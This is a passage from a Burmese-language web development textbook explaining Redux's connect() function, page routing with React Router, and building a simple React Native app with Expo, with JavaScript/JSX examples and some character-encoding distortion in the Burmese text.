}

နမူနာမှာ dပးထားတဲ့ add() Function ဟာ Higher Order Function တစ်ခုပါ။ သူက Function တစ်ခု
ကို Return gပန်dပးထားပါတယ်။ အခုdန add(2) လ့ုိdခါ်လုိက်ရင် gပန်ရမှာက -

 JavaScript/JSX 
function (b) {

return 2 + b;
}

ဆိုတဲ့ Function ကို gပန်ရမှာပါ။ ဒါdeကာင့် အgပည့်အစုံdရးမယ်ဆိုရင် အခုလို goစ်နိုင်ပါတယ်။

 JavaScript/JSX 
const addTwo = add(2);
addTwo(3) // => 5

add() Function ကို dခါ်လုိက်လ့ုိ gပန်ရလာတဲ့ addTwo() Function ကို dနာက်တစ်ခါ gပန်dခါ်gပထား
တာကို dတွ့ရမှာ goစ်ပါတယ်။ အ့ဲဒီလုိ နှစ်deကာင်းမdရးချင်ရင် ဒီလုိdရးလ့ုိ ရပါတယ်။



PWD 2022 – အခန်း (၆၀) – Redux 791

 JavaScript/JSX 
add(2)(3) // => 5

add(2) ကgပန်dပးတဲ့  Function  ကို  (3)  ချက်gခင်းထည့်dပးလုိက်တာ  goစ်ပါတယ်။  အခုdgပာdနတဲ့
connect() Function ဟာ ဒီလို Function အမျ ို းအစားပါ။ သူကိုdခါ်တဲ့အခါ ဒီလုိdခါ်ရပါတယ်။

 JavaScript/JSX 
connect(function(state), function(dispatch))(Component)

connect() Function  ကို  dခါ်တဲ့အခါ  Argument  နှစ်ခုdပးပြပီးdတာ့  dခါ်ရတာပါ။  နှစ်ခုလံုးက
Function  dတွ  goစ်ရပါမယ်။  ပထမ  Function  က  state Data  ကို  props အgoစ်dgပာင်းdပးတဲ့
Function  goစ်ရပါမယ်။ ဒုတိယ Function  ကdတာ့  dispatch() ကို အသံုးgပုပြပီး  state ကို စီမံတဲ့
props dတွ oန်တီးdပးတဲ့ Function goစ်ရပါမယ်။ dခါင်းမူးသွားပြပီထင်ပါတယ်။ မရပ်zဲ နည်းနည်းဆက်
oတ်dပးပါ။

သ့ူအdပါ်နားမှာ  dရးထားတဲ့  stateToProps() Function  ကိုdလ့လာeကည့်ပါ။  props dတွကို
Return gပန်dပးထားတာကို dတွ့ ရပါမယ်။ နမူနာအရ items props ရဲ့တန်oုိးအgoစ် state ထဲမှ ရိှသမျှ
ကို dပးလိုက်တာ goစ်ပါတယ်။

dနာက်  Function  တစ်ခုgoစ်တဲ့  dispatchToProps() ကို  ဆက်dလ့လာeကည့်ပါ။  သူလည်းပဲ
props dတွကို  Return  gပန်dပးတာပါပဲ။  သ့ူမှာdတာ့  add props  ရဲ့  တန်oုိးအgoစ်  dispatch()
Function ကို gပန်dပးထားပါတယ်။

connect() Function ကိုdခါ်ထားတဲ့ လက်dတွ့ကုဒ်က ဒီလုိပါ။

 JavaScript/JSX 
const ReduxApp = connect(stateToProps, dispatchToProps)(App);
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connect() Function  ကို  dခါ်ပြပီး  gပန်ရလာတဲ့  Function  ကိုdတာ့  App Component  dပးလုိက်ပါ
တယ်။ ဒါdeကာင့် connect() Function က App Component မှာ items နဲ့ add ဆိုတဲ့ props နှစ်
ခုကို  တွဲdပးလိုက်မှာပါ။  items က  stateToProps ကdန  ရပါတယ်။  add က
dispatchToProps ကdန ရပါတယ်။

ဒါdeကာင့်  App  Component  ကုဒ်ကို  dလ့လာeကည့်လုိက်ရင်  props.items ကို  map() လုပ်ပြပီး
အသံုးgပု ထားတာကို dတွ့ရမှာgoစ်ပါတယ်။ ပြပီးတဲ့အခါ add() Function က props.add() ကို dခါ်
သံုးသွားတာကို dတွ့ ရနိုင်ပါတယ်။

dနာက်ဆုံးအdနနဲ့ သတိgပုရမှာကdတာ့ Export လုပ်ထားတာ App မဟုတ်ပါzူး။ လုိအပ်တဲ့ props dတွ
ကို တွဲထားပြပီးgoစ်တဲ့ ReduxApp ကို Export လုပ်dပးထားတာပါ။
dgပာမယ်ဆိုရင်  နည်းနည်းကျန်dသးdပမယ့်  ဒီအဆင့်မှာ  ဒီdလာက်နဲ့ပဲ  ရပ်ထားeကပါစို့။  ဆန်းeကယ်တဲ့
dရးဟန်dတွကို  အသံုးgပုထားတဲ့  နည်းပညာgoစ်dနလ့ုိ  အချနိ်တိုအတွင်း  အရမ်းစွတ်သွားလုိက်ရင်  dခါင်း
dတွမူး၊  မျက်စိdတွလည်ပြပီး  zာမှdသချာ  မရလုိက်  goစ်သွားပါမယ်။  အခုdgပာgပထား  သdလာက်ကို
dကာင်းdကာင်း သdzာdပါက်dအာင်သာ အခါခါ gပန်eကည့်ပါ။ ရတယ်ဆိုရင် dနာက်အဆင့်dတွက ဆက်
လုပ်ရတာ လွယ်သွားပါလိမ့်မယ်။



PWD 2022 – အခန်း (၆၁) – React Router 793

အခန်း (၆၁) – React Router

လက်dတွ့ပdရာZျက်dတွမှာ Screen (သ့ုိမဟုတ်) Page dတွ အများကြကီးပါဝင်နိုင်ပါတယ်။ ဥပမာ - Login,
Register, Profile, Home, Dashboard, Setting စသgoင့်dပါ့။ React မှာလည်း Component dတွကို အ့ဲဒီ
လုိ Page dတခွွဲပြပီး စီမံလ့ုိရပါတယ်။ ဒီအတွက် React Router လုိ နည်းပညာမျ ို းကိုသံုးနိုင်ပါတယ်။ ဥပမာ
- အခုလုိ Component နှစ်ခရုှိတယ်ဆိုeကပါတယ်။

 JavaScript/JSX 
const users = [
    { id: 1, name: 'Alice', gender: 'f' },
    { id: 2, name: 'Bob', gender: 'm' },
    { id: 3, name: 'Tom', gender: 'm' },
    { id: 4, name: 'Mary', gender: 'f' },
];

 JavaScript/JSX 
const Male = props => {
    return (
        <ul>
            {users.filter(u => u.gender === 'm')

   .map(u => <li key={u.id}>{u.name}</li>)}
        </ul>
    );
}
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const Female = props => {
    return (
        <ul>
            {users.filter(u => u.gender === 'f')

   .map(u => <li key={u.id}>{u.name}</li>)}
        </ul>
    );
}

ဒီ Component နှစ်ခုကို အသွားအgပန် Navigate လုပ်လုိ့ရတဲ့ ခလုပ်dလးdတွနဲ့ Page ခွဲပြပီး gပချင်တယ်ဆို
ရင် gပလ့ုိရပါတယ်။ ပထမဆုံးအdနနဲ့ react-router-dom ကို NPM နဲ့ Install လုပ်လုိက်ပါ။

npm i react-router-dom

ပြပီးရင်သ့ူထဲက ဒီလုပ်dဆာင်ချက်dတွကို Import လုပ်ယူရမှာပါ။

 JavaScript/JSX 
import {
    BrowserRouter as Router,
    Switch,
    Route,
    Link,
} from "react-router-dom";

BrowserRouter  ကို  Router  လ့ုိ အမည်dgပာင်းdပးပြပီး  Import  လုပ်ထားပါတယ်။  Page  dတွ ခွဲgပချင်တဲ့
App က အ့ဲဒိ <Router> Component အတွင်းမှာ ရိှရမှာ goစ်ပါတယ်။ Route ဆိုတာကdတာ့ gပချင်တဲ့
Page  dတွပါပဲ။  <Route> နှစ်ခရုှိရင်  Page  နှစ်ခုရှိတယ်ဆိုတဲ့  သdzာပါ။  Switch  ကdတာ့  ရိှdနတဲ့
Route dတွထဲက တစ်ကြကိမ်မှာ တစ်ခုပဲgပdအာင် စစ်dပးတဲ့ Component ပါ။ ဒါdeကာင့် တစ်ကြကိမ်မှာ တစ်
ခုပဲ  gပdစချင်တဲ့  <Route> dတွအားလံုးကို  <Switch> ထဲမှာ  ထားdပးရပါတယ်။  Link  ကdတာ့
Navigation  ခလုပ်အတွက်ပါ။  ဒီ  Component  dတွကိုသံုးပြပီး  App Component  ကို  အခုလုိ  dရးနိုင်ပါ
တယ်။
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 JavaScript/JSX 
const App = props => {
    return (
        <Router>
            <div>
                <ul>
                    <li><Link to="/male">Male</Link></li>
                    <li><Link to="/female">Female</Link></li>
                </ul>
                <div style={{background: 'cyan', padding: 20}}>
                    <Switch>
                        <Route path="/male"><Male /></Route>
                        <Route path="/female"><Female /></Route>
                    </Switch>
                </div>
            </div>
        </Router>
    );
}

dလ့လာeကည့်ပါ။  အသံုးgပုရ လွယ်ကူပါတယ်။ သိပ်ပြပီးdတာ့  ရှုပ်dထွးမှု  မရှိလှပါzူး။  App Component
တစ်ခုလံုးက  <Router> အတွင်းမှာ  ရှိပါတယ်။  နှိပ်လ့ုိရတဲ့  Navigation  ခလုပ်goစ်တဲ့  <Link> နှစ်ခု
ပါဝင်ပြပီး တစ်ခုရဲ့လိပ်စာကို /male လ့ုိ dပးထားပါတယ်။ သ့ူကို နှိပ်လုိက်ရင် -

http://localhost:3000/male

ဆိုတဲ့  လိပ်စာကို  သွားdပးမှာပါ။  dနာက်  <Link> တစ်ခုကလည်း  အလားတူပါပဲ။  /female ဆိုတဲ့
လိပ်စာကို သွားdပးတဲ့ ခလုပ်ပါ။

<Switch> ထဲမှာ <Route> နှစ်ခုရှိပါတယ်။ တစ်ခုက လိပ်စာ /male ဆိုရင် gပoို့ပါ။ dနာက်တစ်ခုက
/female ဆိရုင်gပoုိ့ပါ။  dရးထားတဲ့ကုဒ်အရ  /male ဆိုရင်  <Male> Component  ကို  doာ်gပပြပီး
/female ဆိုရင်dတာ့  <Female> Component  ကို  doာ်gပdပးမှာပါ။ ဒီနည်းနဲ့  Component  dတွကို
စာမျက်နှာdတွ ခွဲပြပီး dရးသားစီမံနိုင်ပါတယ်။

dပးထားတဲ့ နမူနာအရ လိပ်စာက /male ဆိုရင် <Male> Component doာ်gပသလုိ /male-users,
/male/123,  /male/users zယ်လုိပဲလာလာ  လိပ်စာက  /male နဲ့စdနသ၍  <Male>

http://localhost:3000/male
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Component  ကိုပဲ  gပdပးမှာပါ။  အ့ဲဒီလုိမဟုတ်zဲ  /male ဆိုတဲ့လိပ်စာအတိအကျgoစ်မှ  <Male>
Component ကို gပdစချင်ရင် သူရဲ့ <Route> ကို အခုလုိdရးdပးရမှာပါ။

 JavaScript/JSX 
<Route path="/male" exact><Male /></Route>

exact Property ပါသွားတာပါ။

Dynamic URL
တစ်ချ ို ့ အdgခအdနdပါ်မူတည်ပြပီး တန်oုိးdgပာင်းလဲdနတဲ့  URL  dတွကို အသုံးgပုo့ုိ လုိအပ်ရင်လည်း သံုး
နိုင်ပါတယ်။  /user/1, /user/2, /user/3 စသgoင့် လုပ်dဆာင်ချက်က အတူတူပဲ၊  1, 2, 3  စ
သgoင့် Parameter တန်oုိးပဲ dgပာင်းသွားတဲ့သdzာပါ။ ဒီကုဒ်ကိုdလ့လာeကည့်ပါ။

 JavaScript/JSX 
const User = props => {
    const { name } = useParams();
    return (
        <h1>Profile – {name}</h1>
    )
}

const App = props => {
    return (
        <Router>
            <div>
                <ul>
                    <li><Link to="/user/Alice">Alice</Link></li>
                    <li><Link to="/user/Bob">Bob</Link></li>
                </ul>
                <div style={{background: 'cyan', padding: 20}}>
                    <Switch>
                        <Route path="/user/:name"><User /></Route>
                    </Switch>
                </div>
            </div>
        </Router>
    );
}
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App Component မှာ <Link> နှစ်ခုပါdပမယ့် <Route> Component က တစ်ခုပဲ ရိှပါတယ်။ ထူးgခား
ချက်အdနနဲ့  <Route> ရဲ့  path မှာ  :name ဆိုတဲ့  Parameter တစ်ခုပါဝင်ပါတယ်။ :name dနရာမှာ
ပါဝင်လာတဲ့ တန်oုိးdတွ dgပာင်းလဲdနရင်လည်း လက်ခံအလုပ် လုပ်dပးနိုင်တဲ့ Route goစ်သွားပါတယ်။ ဒါ
deကာင်း Link နှစ်ခုမှာ dပးထားတဲ့  /user/Alice ရာ /user/Bob dရာ နှစ်ခုလံုးအတွက် ဒီ Route
က အလုပ်လုပ်မှာ goစ်ပါတယ်။

User Component  ကိုdလ့လာeကည့်လုိက်ပါ။  useParams() လ့ုိ dခါ်တဲ့  Hook  ရဲ့ အကူအညီနဲ့  URL
ထဲက  :name တန်oုိးကို  ယူထားပါတယ်။ ဒီနည်းနဲ့  URL  မှာပါဝင်လာတဲ့  dgပာင်းလဲdနတဲ့  Parameter
တန်oုိးdတွကို  Component က ရယူအလုပ်လုပ်နိုင်သွားပါတယ်။ Import ကုဒ်ကို နမူနာထပ်မgပdတာ့dပ
မယ့် useParams ကိုလည်း ထည့် Import လုပ်ရလိမ့်မယ်ဆိုတာကို သတိgပုပါ။
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အခန်း (၆၂) – React Native

React  Native  ဟာ  React  ကို  အသံုးgပုထားတဲ့  Cross-platform Development  နည်းပညာတစ်ခုပါ။
Mobile  အတွက်dရာ  Desktop  အတွက်ပါ သံုးeကပါတယ်။  React Native  ကိုသံုးပြပီး  Android App  dတွ
iOS App dတွ Windows App dတွ dရးလ့ုိရပါတယ်။ dရးတဲ့အခါ React (JavaScript) နဲ့ dရးရလ့ုိ dရးရ
တာ gမန်သလုိ၊ လက်dတွ့ အလုပ်လုပ်တဲ့အခါ  Native UI  dတွကို အသုံးgပုပြပီး အလုပ်လုပ်လ့ုိ စွမ်းdဆာင်
ရည် အgမန်နှုန်းလည်း dကာင်းပါတယ်။ ကြကိုက်တဲ့သူ ရိှသလို မကြကိုက်တဲ့သူdတွလည်း ရိှပါတယ်။ ဒီdနရာ
မှာ  အdeကာင်း  အကျ ို း  အdကာင်း  အဆိုးdတွကို  နှိုင်းယှဉ်ပြပီး  dgပာမdနdတာ့ပါzူး။  zယ်လုိသံုးရလဲ၊
zယ်လုိdရးရလဲ ဆိုတာကိုပဲ dgပာgပသွားမှာပါ။

React  ပdရာZျက်dတွကို  create-react-app အသံုးgပု တည်dဆာက်ရသလုိ့  React Native ပdရာ
Zျက်dတွကိုdတာ့ react-native (သ့ုိမဟုတ်) Expo လ့ုိdခါ်တဲ့ နည်းပညာကို အသံုးgပု တည်dဆာက်
ရပါတယ်။  Mobile  App  dတွ  dရးရ စမ်းရတာ နည်းနည်း အလုပ်များပါတယ်။ စက်ထဲမှာ  သက်ဆိုင်ရာ
SDK dတွ Build Tool dတွ ရှိမှ စမ်းလို့ရeကပါတယ်။ Expo လ့ုိdခါ်တဲ့ နည်းပညာက React Native ပdရာ
Zျက်dတွကို  ကိုယ့်စက်ထဲမှာ  တgခားzာမှ  ရှိစရာမလိုzဲ  စမ်းလ့ုိရdအာင်  လုပ်dပးထားလ့ုိ  အdတာ်
အဆင်dgပပါတယ်။  React Native Documentation  ကလည်း  Expo  ကို  ဦးစားdပး doာ်gပထားသလုိ ဒီ
dနရာမှာလည်း  Expo ကိုပဲ အသံုးgပုပြပီး dရှ့ ဆက်သွားeကမှာပါ။ ပထမဆုံးအdနနဲ့  expo-cli ကို  NPM
နဲ့ Install လုပ်dပးရပါမယ်။

npm I expo-cli 
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ပြပီးတဲ့အခါ React Native ပdရာZျက်တစ်ခုကို အခုလုိ တည်dဆာက်dပးရပါတယ်။

npx expo init HelloNative

HelloNative ဆိုတာ ပdရာZျက်oုိဒါအမည်goစ်ပြပီး   Capital Case   နဲ့ dပးရတယ်ဆိုတာကို သတိgပုပါ  ။
ပdရာZျက်တည်dဆာက်စဉ်မှာ  blank လား TypeScript လား tabs လားစသgoင့် Template dရွးခိုင်းရင်
dရးွမdနzဲ သူdပးထားတဲ့အတိုင်း blank မှာပဲ Enter နှိပ်လုိက်ပါ။ ပြပီးရင် အခုလုိ Run eကည့်လ့ုိရပါပြပီ။

cd HelloNative
npm start

ပံုမှာgပထားသလုိ Dashboard တစ်ခုကို ရလဒ်အdနနဲ့ Browser မှာ gမင်ရပါလိမ့်မယ်။

dနာက်တစ်ဆင့်အdနနဲ့ ကိုယ့်oံုးထဲမှာ Expo App ကို Install လုပ်ထားo့ုိ လုိပါတယ်။ App Store တို့ Play
Store တို့မှာ ရှာပြပီးထည့်လုိက်ပါ။ မှားမှာစိုးလ့ုိ တိုက်စစ်ချင်ရင် Link dတွ ထည့်dပးလုိက်ပါမယ်။
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Google Play Store - https://play.google.com/store/apps/details?id=host.exp.exponent&hl=en
Apple App Store - https://apps.apple.com/us/app/expo-client/id982107779

Expo App ကို  Install  လုပ်ပြပီးရင်  Android  မှာ  App  ကိုoွင့်ပါ။ သ့ူမှာပါတဲ့  Scan QR Code  ခလုပ်ကdန
တစ်ဆင့် dစာdစာက Dashboard  မှာပါတဲ့  QR Code  ကို  Scan  လုပ်dပးလုိက်ပါ။  Run  ထားတဲ့  App  ရဲ့
ရလဒ်ကို ကိုယ့်oုန်းမှာ dတွ့gမင်ရမှာ goစ်ပါတယ်။  iOS ဆိရုင်  Camera App ကို သံုးပြပီးdတာ့ပဲ  QR Code
ကို  Scan  လုပ်နိုင်ပါတယ်။ အdရးကြကီးတာ တစ်ခုကdတာ့  စမ်းမယ့်oုန်းနဲ့  dရးdနတဲ့ ကွန်ပျူတာဟာ   Wifi  
Network   တစ်ခတုည်းမှာ ရိှရမှာgoစ်ပါတယ်  ။ ဒါမှအလုပ်လုပ်မှာပါ။ Wifi မတူရင် အလုပ်မလုပ်ပါzူး။

dနာက်တစ်နည်းအdနနဲ့  ကိုယ့်စက်ထဲမှာ  Android Emulator  တို့  iOS Simulator  တို့  ရှိရင်လည်း အ့ဲဒီ
Simulator  ထဲမှာ  Run  ခိုင်းလို့ရပါတယ်။  Android App  dတွ  iOS App  dတွ  စမ်းdရးoူးလ့ုိ  စက်ထဲမှာ
Simulator  dတွရှတိဲ့သူက  Simulator  ကို  oွင့်ထားလိုက်ပါ။  ပြပီးရင်  Dashboard  ရဲ့  zယ်zက်gခမ်းက
Sidebar မှာ Open in Simulator ခလုပ်dတွ ပါပါတယ်။ နှိပ်လုိက်ရင် ရပါပြပီ။

အခုလုိရလဒ်မျ ို းကို ရမှာပါ။

https://apps.apple.com/us/app/expo-client/id982107779
https://play.google.com/store/apps/details?id=host.exp.exponent&hl=en
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ဒီအဆင့်ထိ စမ်းသပ်dအာင်gမင်ပြပီဆိုရင် dနာက်ပုိင်းက လွယ်သွားပါပြပီ။ အများအားgoင့် dရှ့ပုိင်းမှာ dလ့လာ
ခဲ့ပြပီးgoစ်တဲ့  React dရးထံုးdတွအတိုင်းပဲ ဆက်dရးသွားရမှာပါ။ Component တည်dဆာက်ပံု၊  state dတွ
props  dတွ စီမံပံု၊ အားလံုးအတူတူပါပဲ။  Input  စီမံပံုdလး နည်းနည်း ကွဲသွားပြပီး  <div> တို့  <h1> တို့
<ul> တို့လုိ  HTML Element  dတွအစား  <View> တို့  <Text> တို့လုိ  React Native  က oန်တီးdပး
ထားတဲ့ Element dတွကို အစားထုိး သံုးdပးရမှာပါ။

နမူနာအdနနဲ့ ပdရာZျက်oုိဒါထဲက App.js ကိုoွင့်ပြပီး အခုလုိdရးစမ်းeကည့်ပါ။

 JavaScript/JSX 
import React from 'react';
import { Text, View } from 'react-native';
const App = props => {
    return (
        <View style={{ backgroundColor: 'cyan', padding: 20 }}>
            <Text style={{ fontSize: 40, fontWeight: 'bold' }}>
                Hello React Native
            </Text>
        </View>
    )
}

export default App;

ရိုးရိုး  React ကုဒ်နဲ့ သိပ်မကွာzဲ <div> dတzွာdတွအစား React Native ကdန Import လုပ်ယူထား
တဲ့  <View> နဲ့  <Text> တို့ကို  သံုးသွားတာကို  dတွ့ရမှာပါ။  <View> ကို  <div> နဲ့  တတူယ်လ့ုိ
သdzာထားပြပီး  စာမှန်သမျှ  <Text> ထဲမှာ  ရှိသင့်တယ်လ့ုိ  မှတ်ထားdပးပါ။  dနာက်ထပ်ထူးgခားချက်
ကdတာ့  style အdနနဲ့  သံုးထားတဲ့  CSS  ကုဒ်မှာ  background အစား  backgroundColor လ့ုိ
အgပည့်အစုံ dရးရတာကိုလည်း သတိgပုပါ။ Style dတွအတွက် dရးထံုးက CSS dရးထံုးအတိုင်းပဲ dရးရdပ
မယ့် အခုလုိ ကွဲလဲွမှုdလးတစ်ချ ို ့dတာ့ ရိှပါတယ်။ ရလဒ်ကို အခုလုိ goစ်မှာပါ။
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တgခား  အသံုးဝင်တဲ့  အdgခခံ  Component  dတကွdတာ့  <ScrollView>  <Image>
<TextInput> <Button> <Picker> <Switch> <FlatList> တို့ပဲgoစ်ပါတယ်။ ဒါdတွက
React Native နဲ့ ပါတဲ့  Cross-Platform Component dတွကို dgပာတာပါ။ ဆိုလုိတာက ဒီ Component
dတွကို  Android App dတွ မှာပဲgoစ်goစ်  iOS App dတွမှာပဲgoစ်goစ် အသံုးgပုလုိ့ ရပါတယ်။ zယ်လုိနည်း
လမ်းမျ ို းနဲ့ အသံုးgပုလ့ုိရသလဲဆိုတာ ဒီပံုdလးကိုeကည့်ပါ။

Pouncival

UIView

UIImageView UITextView

ViewGroup

ImageView TextView

Choupette

Mrs. Norris

Tuna

Tabby

Rum Tum Tugger

Pouncival

Spot

Maru

Cat Cafe Menu

Choupette

Mrs. Norris

Tuna

Tabby

Rum Tum Tugger

Pouncival

Spot

Maru

Cat Cafe Menu
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React Native မှာ -

 JavaScript/JSX 
<View>

<Image /><Text />
</View> 

လ့ုိdရးထားdပးမယ်၊  လက်dတွ့အလုပ်လုပ်တဲ့အခါ  Android  မှာဆိုရင်  ViewGroup,  ImageView  နဲ့
TextView ဆိုတဲ့  Android Native UI  dတွကို သံုးပြပီး အလုပ်လုပ်dပးမှာပါ။  iOS  မှာဆိုရင်dတာ့  UIView,
UIImageView နဲ့  UITextView ဆိုတဲ့  iOS Native UI dတွကို သံုးသွားမှာပါ။ ဒီနည်းနဲ့ တစ်ကြကိမ်dရးယံုပြပီး
Platform နှစ်ခုလံုးအတွက် App dတွကို ထုတ်dပးနိုင်မှာ goစ်ပါတယ်။

Cross-Platform  မဟုတ်တဲ့  Android  သီးသန့်၊  iOS  သီးသန့်  Component  dတွလည်း  ရိှပါdသးတယ်။
ဥပမာ  -  <DrawerLayoutAndroid>  <ToastAndroid> စတာdတွဟာ  Android  သီးသန့်
Component  dတွပါ။  <View> <Text> <TextInput> <Button> နဲ့  <FlatList> တို့ကို
အသံုးgပုပြပီး နမူနာတစ်ခု dရးgပပါမယ်။

 JavaScript/JSX 
import React, { useState } from 'react';
import { 
    StyleSheet,
    FlatList,
    Button,
    TextInput,
    Text,
    View
} from 'react-native';
const styles = StyleSheet.create({
    container: {
        backgroundColor: '#ddd',
    },

    appbar: {
        paddingTop: 40,
        paddingBottom: 20,
        paddingLeft: 20,
        paddingRight: 20,
        backgroundColor: 'cyan',
    },
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    title: {
        fontSize: 30,
        fontWeight: 'bold'
    },
    content: {
        margin: 10,
        backgroundColor: 'white',
    },
    item: {
        padding: 10,
        borderBottomWidth: 1,
        borderColor: '#ddd'
    },
    itemText: {
        fontSize: 20
    }
});

const Item = props => {
    return (
        <View style={styles.item}>
            <Text style={styles.itemText}>
                {props.name}
                (${props.price})
            </Text>
        </View>
    )
}

const App = props => {
    let [ items, setItem ] = useState([
        { id: '1', name: 'Apple', price: 0.99 },
        { id: '2', name: 'Orange', price: 0.89 },
    ]);

    return (
        <View style={styles.container}>
            <View style={styles.appbar}>
                <Text style={styles.title}>React Native</Text>
            </View>
            <View style={styles.content}>
                <FlatList
                    data={items}
                    renderItem={({ item }) => (
                        <Item 
                            name={item.name} 
                            price={item.price}
                        />
                    )}
                    keyExtractor={i => i.id}
                />
            </View>
        </View>
    )
}

export default App;
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ကုဒ်dတွများလ့ုိ လန့်မသွားပါနဲ့။  Style  dတွ များdနတာပါ။  Style  dတွကို ဒီတိုင်းdရးရင်လည်း ရdပမယ့်
React  Native  ကdပးတဲ့  Stylesheet  လုပ်dဆာင်ချက်ကို  သံုးထားပါတယ်။  create(),
compose(), flatten() စသgoင့်  dရးထားတဲ့  Style  dတွကို  စီမံတဲ့အခါ  အdထာက်အကူgပုတဲ့
လုပ်dဆာင်ချက်dတွ ရနိုင်ပါတယ်။ ပြပီးdတာ့ အ့ဲဒီ  Style  dတွက လက်dတွ့မှာ အခုလုိ ကိုယ်တိုင် အကုန်
dရးစရာ မလုိပါzူး။ အသင့်သံုး UI Framework dတွ အများကြကီးရှိပါတယ်။ လုိချင်တဲ့ UI ကို ယူသံုးယံုပါပဲ။
ဒီdနရာမှာသာ ဒီလုိ Framework dတွကို သံုးပြပီး နမူနာမgပချင်လ့ုိ ကိုယ့်zာသာ dရးထားရတာပါ။

ကျန်တဲ့  JavaScript  ကုဒ်က သိပ်dတာင် ရှင်းgပစရာ မရှိပါzူး။ oတ်eကည့်ပါ၊ ရိုးရိုး  React  ကုဒ်အတိုင်းပဲ
dရးထားတာပါ။ ထူးgခားချက်အdနနဲ့  <FlatList> အdeကာင်းdလာက်ပဲ dgပာစရာရှိပါတယ်။  FlatList
အတွက်  props (၃)  ခု  လုိပါတယ်။  data က  List  အdနနဲ့doာ်gပdစလုိတဲ့  စာရင်းပါ။  renderItem
ကdတာ့  List  Item  တစ်ခုချင်းစီကို  zယ်လုိdoာ်gပရမလဲ  ကြကိုတင်သတ်မှတ်ထားတဲ့  Component  ပါ။
keyExtractor ကdတာ့ React မှာ ထည့်dgပာခဲ့တဲ့ key props နဲ့ သdzာသzာဝ တူပါတယ်။ ဒီ (၃)
ခုစုရံင်  သ့ူzာသာ doာ်gပသွားလို့  map() dတွzာdတွနဲ့  Loop  လုပ်dနစရာ မလုိdတာ့ပါzူး။ ရလဒ်က
အခုလုိပံုစံgoစ်မှာပါ။
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dနာက်တစ်ဆင့်အdနနဲ့ App Component ရဲ့ oဲွ့စည်းပံုက ဒီပံုစံgoစ်သွားပါလိမ့်မယ်။

 JavaScript/JSX 
const App = props => {
    const [ items, setItem ] = useState([
        { id: '1', name: 'Apple', price: 0.99 },
        { id: '2', name: 'Orange', price: 0.89 },
    ]);

    const [name, setName] = useState('Name');
    const [price, setPrice] = useState('Price');
    const add = () => {
        setItem([
            ...items,
            { id: items.length + 1, name, price }
        ])
    }

    return (
        <View style={styles.container}>
            <View style={styles.appbar}>
                <Text style={styles.title}>React Native</Text>
            </View>
            <View style={styles.content}>
                <FlatList
                    data={items}
                    renderItem={({ item }) => (
                        <Item name={item.name} price={item.price} />
                    )}
                    keyExtractor={i => i.id}
                />
            </View>
            <View style={styles.content}>
                <TextInput
                    style={styles.input}
                    onChangeText={text => setName(text)}
                    value={name}
                    />
                <TextInput
                    keyboardType="numeric"
                    style={styles.input}
                    onChangeText={text => setPrice(text)}
                    value={price}
                    />
                <Button title="ADD" onPress={add} />
            </View>
        </View>
    )
}
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ဒီdနရာမှာ  Input  dတွစီမံပံုအdeကာင်း  dgပာရပါမယ်။  ရိုးရိုး  React  ပdရာZျက်dတွမှာ  Input  dတွစီမံoို့
ref ကို  သံုးပါတယ်။  React  Native  မှာ  ref လုပ်dဆာင်ချက်  မရှိပါzူး။  ဒါdeကာင့်  Input  dတွကို
state နဲ့ စီမံပါတယ်။  Input  မှာ ရိုက်လုိက်သမျှ တန်oုိးအားလုံးကို  state မှာ သွားသိမ်းလုိက်တာပါ။
ဒါdeကာင့် Input ရဲ့ တန်oုိးကို လုိချင်ရင် state ကdန gပန်ယူရပါတယ်။ ref မdပါ်ခင်က ရိုးရိုး  React
ပdရာZျက်dတွမှာလည်း ဒီလုိပဲ သွားရပါတယ်။

dရးထားတဲ့  ကုဒ်ကို  eကည့်လုိက်ရင်  useState() Hook  ကို  အသံုးgပုပြပီး  name,  setName,
price, setPrice စသgoင့် state နဲ့ state ကို စီမံနိုင်တဲ့  Function dတွ တည်dဆာက်ပါတယ်။ ပြပီး
dတာ့မှ  <TextInput> Component dတရွဲ့  onChangeText မှာ တန်oုိးdgပာင်းတိုင်း  name, price
စတဲ့ state dတွကို dgပာင်းoို့ dရးထားပါတယ်။ value မှာdတာ့ လကရ်ှိ state Data ကို gပန်သတ်မှတ်
dပးထားပါတယ်။ ဒီနည်းနဲ့ ရိုက်လုိက်သမျှ သွားသိမ်းပြပီး သိမ်းထားသမျှ gပန်gပတဲ့ သdzာသzာဝကို ရရိှ
သွားပါတယ်။

input ဆိုတဲ့ Style ကိုလည်း သံုးထားလ့ုိ ဒီ Style ကုဒ်dလးကို Style စာရင်းထဲမှာ goည့်dပးo့ုိ လုိပါလိမ့်
မယ်။

 CSS 
input: {
    borderWidth: 1,
    borderColor: '#ddd',
    padding: 10,
}

<Button> Component  ကိုလည်းသံုးထားပြပီး  နှိပ်လုိက်ရင်  add() ကို  အလုပ်လုပ်dပးပါတယ်။
add() မှာdရးထားတဲ့ ကုဒ်ကdတာ့ ထူးgခားချက်အသစ် မရှိပါzူး။  name နဲ့  price ကို  state  ကdန
တိုက်ရိုက်  ယူသံုးထားတာပဲ  ရိှပါတယ်။  Button  ရဲ့  onPress ကိုdတာ့  သတိgပုပါ။  ရိုးရိုး  React  မှာ
onClick လ့ုိ သုံးdပမယ့် React Native မှာ onPress လ့ုိ သုံးပါတယ်။

ရလဒ်ကdတာ့ အခုလုိgoစ်မှာပါ။
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ဒီdလာက်သိသွားပြပီဆိုရင်  React Native ကို စအသံုးgပုလ့ုိရdနပါပြပီ။  Component dတွကို  CSS Flexbox
သံုးပြပီး  Layout  oန်တီးပံုdတွ၊  Device  ရဲ့  Status Bar  တို့  Back Button  တို့  Storage  တို့ကို  စီမံပံုdတွ၊
Page dတခွွဲပြပီး Navigation dတွ zာdတွနဲ့ dရးပံုdရးနည်းdတွ၊ Native API dတွ dခါ်သံုးပံုသံုးနည်းdတွ၊
dgပာမယ်ဆိုရင်dတာ့ အများကြကီး ကျန်ပါdသးတယ်။

ဒါdပမယ့် dရှ့ အခန်းdတွမှာ dgပာခဲ့သလုိပါပဲ။  React  အdgခခံdတွ ကိုdကာင်းdကာင်း deကညက်ပုိင်နိုင်o့ုိ
သာအဓိကပါ။ React ကို ပုိင်နိုင်ရင် React Native ကို ဆက်dလ့လာရတာ မခက်dတာ့ပါzူး။
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အခန်း (၆၃) – Working with API in React

React  ဟာ  Client-side  နည်းပညာတစ်ခုgoစ်သလုိ  dရှ့ပုိင်းမှာ  dgပာခဲ့သမျှdတာက်dလျှာက်ကလည်း
Client App  တစ်ခုအdနနဲ့သာ dgပာခဲ့တာပါ။  Server-side API  dတွနဲ့  ချတိ်ဆက် အလုပ်လုပ်ပံုdတွ မပါ
